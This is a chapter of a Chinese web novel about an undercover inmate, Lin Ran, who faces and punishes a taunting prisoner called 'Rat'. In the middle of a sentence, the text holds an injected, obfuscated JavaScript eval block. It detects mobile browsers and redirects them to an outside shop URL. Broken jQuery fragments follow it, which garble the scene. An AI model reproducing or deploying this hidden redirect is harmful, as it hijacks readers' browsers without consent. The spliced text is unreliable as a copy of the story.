第一百四十九章 老鼠

作品:《卧底入狱?我直接整顿监狱法则

    林燃睁开眼,盯着天花板上那道裂缝。


    探照灯的光每隔十五秒扫过一次,裂缝就在明暗之间交替显现,像道来回烧灼的伤疤。


    对手在等。


    等一个机会,或者等林燃自己露出破绽。


    而林燃也在等——等那封信的回音。


    这种对峙很耗神。像是两个猎人在黑暗的森林里互相寻找,谁先动,谁就可能暴露位置。


    …………


    上午的劳动还是缝纫车间。


    林燃的位置没变,靠窗那台机器。他坐下时,白癜风正好从监工位上抬起头,两人目光碰了一下。


    很短的一瞬间。


    白癜风的眼神很沉,沉得看不见底。他脸上那道白斑在车间惨白的日光灯下,像块随时会剥落的墙皮。


    林燃移开视线,低头摆弄缝纫机。


    针脚哒哒地走起来,深蓝色的工装裤布料在指尖下缓缓移动。这活儿干久了,手指会有自己的记忆,不用眼睛看也能走直线。


    但今天林燃有点走神,针脚歪了两次,他不得不拆了重来。


    第三次拆线时,斜对面工位传来一声轻笑。


    很轻,但足够清晰。


    林燃抬起头。


    是那个叫“豁嘴”空出来的位置上,新调来的犯人。三十来岁,平头,脸很瘦,颧骨突出,眼睛细长。林燃记得他,外号“老鼠”,**惯犯,手快,嘴碎。


    老鼠正斜着眼看他,嘴角挂着那种似笑非笑的弧度。


    见林燃看过来,老鼠也不躲,反而挑了挑眉,用口型说了两个字:


    “小——憋——三。”


    挑衅。


    很低级,但有效。


    林燃没理他,低下头继续干活。针脚这次走得很直,哒哒哒,像**点射。


    老鼠讨了个没趣,撇撇嘴,也转回头去。但他没消停,过一会儿就开始跟旁边工位的人低声说话,声音不大不小,刚好能让林燃听见。


    “听说没?有些人啊,蹦跶不了几天了。”


    “谁啊?”


    “还能有谁?仗着三脚猫功夫,到处惹事。现在好了,码头帮不待见,北佬帮看笑话,自己人……”老鼠顿了顿,故意提高音量,“自己人都在背后戳脊梁骨呢!”


    车间里其他犯人竖起耳朵,眼神往这边瞟。


    白癜风坐在监工位上,手里捏着本子,像是没听见。


    刀疤辉在隔壁流水线,听见这话腾地站起来,腹部伤口扯得他脸色一白,但还是瞪着眼吼:“老鼠!**嘴痒找抽是吧?!”


    “哎哟,辉哥,我哪敢啊。”老鼠缩了缩脖子,但眼神里的挑衅没减,“我就是随口说说,实话还不让人说了?”


    “你——”


    “辉子。”林燃开口,声音不高。


    刀疤辉咬咬牙,坐了回去。


    林燃继续干活,针脚走得稳当。老鼠那些话像蚊子叫,嗡嗡的,烦人,但伤不了皮肉。他在等——等白癜风下一步动作。


    如果只是派个老鼠这样的碎嘴来试探,那说明白癜风手里没牌了。


    果然,一上午过去,除了老鼠时不时的阴阳怪气,再没别的动静。


    中午吃饭时,老鼠那桌人故意坐在312附近,说话声音很大。


    “有些人啊,以为打趴个疤脸,架个小霸王脖子,就了不起了。”老鼠扒拉着碗里的白菜帮子,“也不想想,这是在哪儿?安江监狱!今天你能打,明天呢?后天呢?等你打不动了,那些被你得罪过的人,一个一个找上门……”


    “老鼠。”林燃忽然开口。


    声音很平,但老鼠像被掐住脖子,话戛然而止。


    林燃放下筷子,转过头看着他:“你话这么多,是白癜风让你说的,还是你自己想说的?”


    老鼠脸色变了变。


    “如果是白癜风让你说的,”林燃继续说,语气没什么起伏,“那你告诉他,派个碎嘴子来,没用。如果是你自己想说的——”


    他顿了顿,眼睛盯着老鼠。


    “那我记住你了。”


    就这一句。


    没有威胁,没有狠话,就是简单的“记住你了”。


    老鼠喉咙滚动了一下,想说什么,但没说出来。他低头扒饭,速度快得像是有人在后面追。


    刀疤辉咧了咧嘴,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212200|197428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冲林燃竖了个大拇指。


    林燃没笑。


    他知道,老鼠这种小角色,踩了也就踩了。真正的麻烦还在后面。


    …………


    第五天,放风时出了点意外。


    不是林燃,是周晓阳。


    他在单杠那边练走路——腿伤好得差不多了,但拐杖还得用几天。正练着,不知从哪飞来半个馒头,砸在他后脑勺上。


    不重,但侮辱性极强。


    周晓阳猛地回头。


    不远处,老鼠和另外两个面生的犯人蹲在地上,正哈哈大笑。见周晓阳看过来,老鼠还故意摊了摊手:“哎哟,不好意思,手滑了。”


    周晓阳脸色涨红,拄着拐想过去,被林燃一把按住。


    “燃哥!”


    “别动。”林燃说,眼睛看着老鼠那边。


    老鼠见周晓阳没过来,笑得更大声了,还冲着旁边人挤眉弄眼。那两个人也跟着笑,声音刺耳。


    林燃松开周晓阳,朝那边走过去。


    步子不快,左腿还有点跛,但每一步都踩得很实。


    老鼠的笑声渐渐停了。


    林燃走到他面前,蹲下。


    两人平视。


    “手滑了?”林燃问。


    老鼠咽了口唾沫,往后缩了缩:“真、真滑了……”


    “哦。”林燃点点头,伸手捡起地上那半块馒头。馒头已经硬了,表皮沾着沙土。他拿在手里掂了掂,然后抬头,看着老鼠。


    “我手也容易滑。”


    话音落下的瞬间,林燃手腕一翻,那半块监狱“特产”的硬馒头,像块石头,狠狠砸在老鼠脸上!


    “砰!”


    闷响。


    老鼠惨叫一声,仰面摔倒,鼻血瞬间涌出来。旁边那两个犯人吓得跳起来,想跑,被刀疤辉和牛哥一左一右堵住。


    林燃站起来,拍了拍手上的灰。


    老鼠躺在地上,捂着鼻子,血从指缝里往外渗。他瞪着林燃,眼神里一半是恐惧,一半是怨毒。


    “这次是馒头。”林燃看着他,声音很轻,“下次要是换成砖头,你说,会怎样?”


    老鼠没说话,只是喘着粗气。